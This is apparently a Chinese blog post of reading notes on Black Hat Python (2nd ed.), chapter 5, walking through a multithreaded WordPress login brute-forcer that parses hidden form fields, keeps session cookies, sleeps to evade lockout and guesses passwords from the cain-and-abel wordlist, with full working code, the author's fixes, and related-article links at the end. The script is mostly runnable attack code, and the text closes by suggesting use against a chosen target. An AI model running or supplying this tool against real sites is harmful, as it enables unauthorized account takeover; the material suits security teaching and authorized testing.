黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证


文章目录

  • 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证
  • 写在前面
  • 分析WordPress登录表单
    • 对抗反暴力破解
  • cain单词列表
  • 创建工具脚本
    • Bruter类
    • 完善暴力工具(main代码块)
    • HTMLParser
  • 小试牛刀
  • 完整代码

写在前面

在我们的渗透测试职业生涯中,我们可能会需要访问一个目标,或者我们正在咨询/评估现有web系统的密码强度。web系统越来越普遍地使用了防暴力破解的保护,无论是captcha、简单的数学公式,或者是必须随请求提交的登录令牌。有许多暴力工具可以对登录脚本的POST请求进行暴力破解,但在很多情况下这些工具不够灵活,无法处理动态内容,以及 “你是人吗?”这类简单检查。接下来我们将创建一个简单的暴力工具,它将对WordPress有用。虽然现代WordPress系统包括一些基本的反暴力技术,但默认情况下仍然缺少帐户锁定或强captcha。
为了能够暴力破解WordPress,我们的工具需要满足两个要求:它必须在提交密码尝试之前从登录表单中解析出隐藏的令牌,并且必须确保我们在HTTP会话中接受cookie。远程应用程序在第一次访问时设置一个或多个cookie,并且在登录尝试时会期望将cookie返回。为了解析出登录表单中的信息,我们将使用前面“lxml和BeautifulSoup包”一节中介绍的lxml包。

分析WordPress登录表单

我们可以通过浏览http://<域名>/wp-login.php/找到它。我们可以使用浏览器的工具“查看源代码”来查找HTML结构。例如,如果使用Firefox浏览器,选择“Tools/Web Developer/Inspector”。为了简洁起见,下面的示例中只包括了相关的表单元素(这里借用原书中的内容,前面安装的wordpress刚刚被我销毁了,看来后面还是要用到的,说出来都是泪啊!):

通过上面的表单,我们可以获得一些有价值的信息,我们需要将这些信息整合到我们的暴力工具中。首先,表单作为HTTP POST提交到/wp-login.php路径。接下来的元素是表单提交成功所需的所有字段:log字段是代表用户名的变量,pwd字段是代表密码的变量,wp-submit指的是submit按钮,testcookie是测试cookie的变量(请注意,这个元素的属性是hidden,说明在表单上是隐藏的)。

对抗反暴力破解

当我们通过表单跟服务器交互时,服务器还设置了其它的cookie;当我们提交表单数据时,服务器希望再次收到这些cookie。这是WordPress反暴力破解技术的关键,站点根据当前的用户会话检查cookie,因此即使我们将正确的用户凭据传递到登录处理程序中,如果cookie不存在或者是错误的,身份验证也会失败。当普通用户登录时,浏览器会自动处理这些cookie,因此我们必须在暴力工具中实现这种行为。这里我们将使用requests库的Session对象自动处理cookie。
为了能够成功对抗WordPress的反暴力破解,我们将依赖暴力工具中的以下请求流程:

  1. 检索登录页面并接受返回的所有cookie。
  2. 从HTML中解析出所有表单元素。
  3. 根据字典猜测用户名和/或密码。
  4. 向登录处理脚本发送HTTP POST,包括所有HTML表单字段和我们存储的cookie。
  5. 测试我们是否已成功登录web应用程序。

cain单词列表

Cain & Abel是一个仅限Windows下试用的密码恢复工具,它包含一个名为cain.txt的大型暴力破解密码单词表。我们将会使用这个文件来进行密码猜测,可以直接从Daniel Miessler的GitHub存储库SecLists下载(这个下载还算比较顺利):

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt

顺便说一下,SecLists还包含许多其他的单词表,建议在将来的黑客生涯中浏览一下这个repo。
我们将在这个脚本中使用一些新的、有价值的技术;另外我们还会提到,不应该在活动目标(生产环境)上测试工具;我们应当始终安装自己的测试环境,然后使用已知凭据设置并验证我们的工具获得了期望的结果。

创建工具脚本

下面我们创建一个名为wordpress_killer.py的脚本,并输入下面的代码:

from io import BytesIO
from lxml import etree
from queue import Queueimport requests
import sys
import threading
import timeSUCCESS = 'Welcome to WordPress!'
TARGET = 'http://boodelyboo.com/wordpress/wp-login.php'
WORDLIST = '/home/kali/Downloads/cain-and-abel.txt'def get_words():with open(WORDLIST) as f:raw_words = f.read()words = Queue()for word in raw_words.split():words.put(word)return wordsdef get_params(content):params = dict()parser = etree.HTMLParser()tree = etree.parse(BytesIO(content), parser=parser)# find all input elementsfor elem in tree.findall('//input'):name = elem.get('name')if name is not None:params[name] = elem.get('value', None)return params

这些常规设置值得解释一下,TARGET变量是脚本从中下载并解析HTML的URL,SUCCESS变量是一个字符串,我们将在每次暴力强制尝试后在响应内容中检查它,以确定是否成功。
get_words函数看起来应该很熟悉,因为我们在前面的暴力破解文件与目录一节中使用了类似的形式。get_params函数接收HTTP响应内容,然后进行解析,并循环遍历所有的输入元素,以创建需要填充的参数字典。

Bruter类

现在让我们为暴力工具创建管道;下面的一些代码将与前面上一节的暴力工具中的代码类似,因此重点介绍新出现的技术和手法

class Bruter:def __init__(self, username, url):self.username = usernameself.url = urlself.found = Falseprint(f'\nBrute Force Attack beginning on {url}.\n')print('Finished the setup where username = %s\n' % username)def run_bruteforce(self, passwords):for _ in range(10):t = threading.Thread(target=self.web_bruter, args=(passwords,))t.start()def web_bruter(self, passwords):session = requests.Session()resp0 = session.get(self.url)params = get_params(resp0.content)params['pwd'] = passwordswhile not passwords.empty() and not self.found:time.sleep(5)passwd = passwords.get()print(f'Trying username/password {self.username}/{passwd:<10}')params['pwd'] = passwdresp1 = session.post(self.url, data=params)if SUCCESS in resp1.content.decode():self.found = Trueprint(f"\nBruteforcing successful.")print("Username is %s" % self.username)print("Password is %s" % brute)print("done: now cleaning up other threads...")

这是我们主要的暴力破解类,它将处理所有的HTTP请求并管理cookie。执行暴力登录攻击的web_bruter方法的工作分三个阶段进行。
在__init__方法中,我们从requests库初始化一个Session对象,它将自动为我们处理cookie。然后,程序发出解析登录表单的初始请求;当接收到原始HTML内容时,程序将其传递给get_params函数,该函数解析参数的内容并返回检索到的所有表单元素的字典。成功解析HTML之后,替换username参数,接下来开始循环密码猜测。
在循环阶段,程序先休眠几秒钟,以尝试绕过帐户锁定;然后从队列中弹出一个密码,并使用它来完成参数字典的填充,当队列中没有更多密码时线程退出。
在请求阶段,我们使用参数字典发出post请求,获取到身份验证尝试的响应后,我们将分析身份验证是否成功,即解析内容中是否包含我们之前定义好的表示成功的字符串。如果成功并且字符串存在,程序将清除队列,以便其它线程可以快速完成并返回。

完善暴力工具(main代码块)

要完成WordPress暴力工具,我们还需要添加以下代码:

if __name__ == '__main__':words = get_words()b = Bruter('tim', url)b.run_bruteforce(words)

说明:原书中这里代码有点小问题,主函数和全局变量中都没有定义变量url,后面验证的时候证明,这里应该是前面定义的TARGET。
就是这样!我们将用户名和url传递给Bruter类,并使用从单词列表创建的队列暴力破解应用程序,下面我们看一下会发生什么奇迹。

HTMLParser

在本节的示例中,我们使用requests和lxml包发出HTTP请求,并解析结果内容。但是,如果我们无法安装这两个软件包而必须依赖标准库应该怎么办呢?正如我们在本章开头提到的,我们可以使用urllib发出请求,但我们需要使用标准库html.parser.HTMLParser来定义自己的解析器。
使用HTMLParser类时,可以实现三个主要方法:handle_starttag、handle_endtag和handle_data。每当遇到打开的HTML标签时,都会调用handle_starttag函数;而handle_endtag函数则相反,每次遇到关闭的HTML标签时都会调用该函数;当标记之间存在原始文本时,将调用handle_data函数。每个函数的原型略有不同,如下所示:

handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)

这里用一个简单的例子来说明一下:

有了对HTMLParser类的基本理解,我们可以执行诸如解析表单、通过爬虫查找链接、提取用于数据挖掘的所有纯文本,或查找页面中的所有图像等操作。

小试牛刀

如果你的Kali VM上没有安装WordPress,那么现在就安装它。另外,在boodelyboo.com上临时托管了一个WordPress,预设用户名为tim,密码为1234567,这个密码刚好在cain.txt文件中,运行脚本时,得到以下输出:
说明:其实目前上面的boodelyboo.com已经不可达了,我自己搭建了一个wordpress,用户名和密码也不是上述,先在不修改密码单词表的情况下暴力一把看看,如下图所示,它已经在勤奋的工作啦。

为了节省时间,我们结束掉脚本的运行,修改一下cain.txt文件,即把我们的密码添加到cain.txt文件中去,然后再次运行脚本,竟然直接跳过去了,跟预期的不太一样,如下图。

先检查一下脚本是否又出乌龙了,跟原书脚本完全一致,直接运行原书的脚本发现也会出现同样的问题。
那接下来就好好定位一下问题吧。首先修改线程数为1(便于查看日志);然后打印出要在post请求总提交的参数字典,以及post请求的整个响应消息;最后吧目标的密码放到单词列表的第一个。然后运行脚本,从打印的返回消息看,应该是登录成功的,如下图。

这跟我手动登录成功以后展示的内容完全一致啊!请看下图。

这说明是登录成功了的,看来是登录成功的断言设置有问题,回去检查一下。发现代码中的登录成功的断言是“if SUCCESS in resp1.content.decode():”,即当post提交表单的请求的响应内容中包含SUCCESS时,就认为登录成功了,可是当我把整个resp1.content.decode()打印出来,也没有找到SUCCESS,问题应该就是出在这里。分析整个resp1.content.decode()的内容,发现有“编辑个人资料”和“注销”,直接用这两个作为登录成功的断言是不是更加靠谱呢?如下图,做完上述调整之后再次运行脚本,成功啦!

不过这里出现一个异常,顺藤摸瓜发现了原书代码中的另一个小错误,修改以后,正常执行,结果如下图,很完美(我顺便吧预期的正确密码放到了单词列表的后面,线程修改成了原来的10)。

我们可以看到脚本成功地使用暴力并登录到WordPress控制台。要验证它是否有效,您应该使用这些凭据手动登录。在本地测试并确定它能正常工作后,我们可以针对选择的目标WordPress使用此工具。

完整代码

作为惯例,放上可运行的原始代码

from email import parser
from io import BytesIO
from urllib import request
from lxml import etree
from queue import Queueimport requests
import sys
import threading
import timeSUCCESS = 'Welcome to WordPress!'
# TARGET = 'http://boodelyboo.com/wordpress/wp-login.php'
TARGET = 'http://www.lpxwordpress.net/wp-login.php'
WORDLIST = '/home/kali/Downloads/cain-and-abel.txt'def get_words():with open(WORDLIST) as f:raw_words = f.read()words = Queue()for word in raw_words.split():words.put(word)return wordsdef get_params(content):params = dict()parser = etree.HTMLParser()tree = etree.parse(BytesIO(content), parser=parser)# find all input elementsfor elem in tree.findall('//input'):name = elem.get('name')if name is not None:params[name] = elem.get('value', None)return paramsclass Bruter:def __init__(self, username, url):self.username = usernameself.url = urlself.found = Falseprint(f'\nBrute Force Attack beginning on {url}.\n')print('Finished the setup where username = %s\n' % username)def run_bruteforce(self, passwords):for _ in range(10):t = threading.Thread(target=self.web_bruter, args=(passwords,))t.start()def web_bruter(self, passwords):session = requests.Session()resp0 = session.get(self.url)params = get_params(resp0.content)params['log'] = self.usernamewhile not passwords.empty() and not self.found:time.sleep(5)passwd = passwords.get()print(f'Trying username/password {self.username}/{passwd:<10}')params['pwd'] = passwdresp1 = session.post(self.url, data=params)# if SUCCESS in resp1.content.decode():resp1_txt = resp1.content.decode()if ('wp-admin-bar-edit-profile' in resp1_txt) and ('wp-admin-bar-logout' in resp1_txt):self.found = Trueprint(f"\nBruteforcing successful.")print("Username is %s" % self.username)print("Password is %s" % passwd)print("done: now cleaning up other threads...")if __name__ == '__main__':words = get_words()b = Bruter('lpx', TARGET)b.run_bruteforce(words)

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证相关推荐

  1. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置 文章目录 黑帽python第二版(Black Hat P ...

  2. 【Python自然语言处理】读书笔记:第五章:分类和标注词汇

    jupyter 版请见我的github:https://github.com/JackKuo666/Python_nlp_notes [Python自然语言处理]读书笔记:第五章:分类和标注词汇 本章 ...

  3. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第01章 语言处理与Python

    第01章 语言处理与Python 1.1 语言计算:文本和单词 Python入门 NLTK 入门 搜索文本 计数词汇 1.2 近观Python:将文本当做词链表 链表(list,也叫列表) 索引列表 ...

  4. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第10章 分析句子的意思

    第10章 分析句子的意思 10.1 自然语言理解 查询数据库 自然语言.语义和逻辑 10.2 命题逻辑 10.3 一阶逻辑 一阶定理证明 一阶逻辑语言总结 真值模型 独立变量和赋值 量化 量词范围歧义 ...

  5. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第02章 获得文本语料和词汇资源

    第02章 获得文本语料和词汇资源 2.1 获取文本语料库 古腾堡语料库 网络和聊天文本 布朗语料库 路透社语料库 就职演说语料库 标注文本语料库 在其他语言的语料库 文本语料库的结构 载入你自己的语料 ...

  6. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第05章 分类和标注词汇

    第05章 分类和标注词汇 5.1 使用词性标注器 5.2 标注语料库 表示已标注的标识 读取已标注的语料库 简化的词性标记集 名词 动词 形容词和副词 未简化的标记 探索已标注的语料库 5.3 使用P ...

  7. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第03章 加工原料文本

    第03章 加工原料文本 3.1 从网络和硬盘访问文本 电子书 处理的HTML 处理搜索引擎的结果 处理RSS 订阅 读取本地文件 从PDF.MS Word 及其他二进制格式中提取文本 捕获用户输入 N ...

  8. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第11章 语言数据管理

    第11章 语言数据管理 11.1 语料库结构:一个案例研究 主要设计特点 基本数据类型 11.2 语料库生命周期 语料库创建的三种方案 质量控制 维护与演变 11.3 数据采集 从网上获取数据 从字处 ...

  9. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第04章 编写结构化程序

    第04章 编写结构化程序 4.1 回到基础 赋值 等式 条件语句 4.2 序列 序列类型上的操作 合并不同类型的序列 产生器表达式 4.3 风格的问题 过程风格与声明风格 计数器的一些合理用途 4.4 ...

最新文章

  1. java之php、Android、JAVA、C# 3DES加密解密
  2. 前端每日实战:60# 视频演示如何用纯 CSS 创作一块乐高积木
  3. python list 换位置_【已解决】Python中把list换成set
  4. python指定数据写入指定excel_python脚本——生成EXCEL,连接数据库,并将指定数据写入EXCEL...
  5. the next journal submission for mechanism should be at this journal
  6. access集团和abm_ACCESS集团宣布启动“ABM单创66会员狂欢节”
  7. 红黄蓝收购新加坡某民营儿童教育集团,宣布更名为GEH Education...
  8. Linux编程手册读书笔记第五章(20140408)
  9. Redmi 10X Pro 5G曝光:四种配色、两种存储版本可选
  10. JVM第一讲:为什么需要 JVM?它处在什么位置?
  11. ajax post 数组
  12. ★★★【加快】页面的【加载速度】,先减少图片请求★
  13. delphi2010:按键 控制键 组合键的判断 响应
  14. wap jsp 开发
  15. js 设计模式(23种)
  16. php 生成迅雷地址,php实现把url转换迅雷thunder资源下载地址的方法,_PHP教程
  17. 高薪程序员面试题精讲系列89之MySQL有哪些索引?
  18. 薅羊毛软件-抢福袋源码分享
  19. 拿下春晚,抖音支付要如何在一个月内杀出血路
  20. 西邮 Linux 兴趣小组 2021 纳新试题

热门文章

  1. Docker基础与进阶梳理(干货满满)
  2. 开价 175 亿美元,游戏软件公司 AppLovin 欲收购 Unity!
  3. GPS导航测速点数据库与雷达探测器
  4. 长亭科技新品万象发布,升级全线产品,致力用“智能”代替“规则”
  5. 第十三届蓝桥杯大赛软件赛省赛(JavaB组)
  6. centos 配置IP ens33
  7. python array.shape
  8. 自己动手做一个adb的wifi连接及adb命令的apk
  9. Windows+IIS+PHP——PHP安装与环境配置
  10. flv文件如何转换成mp4 将flv转换成mp4格式的方法是什么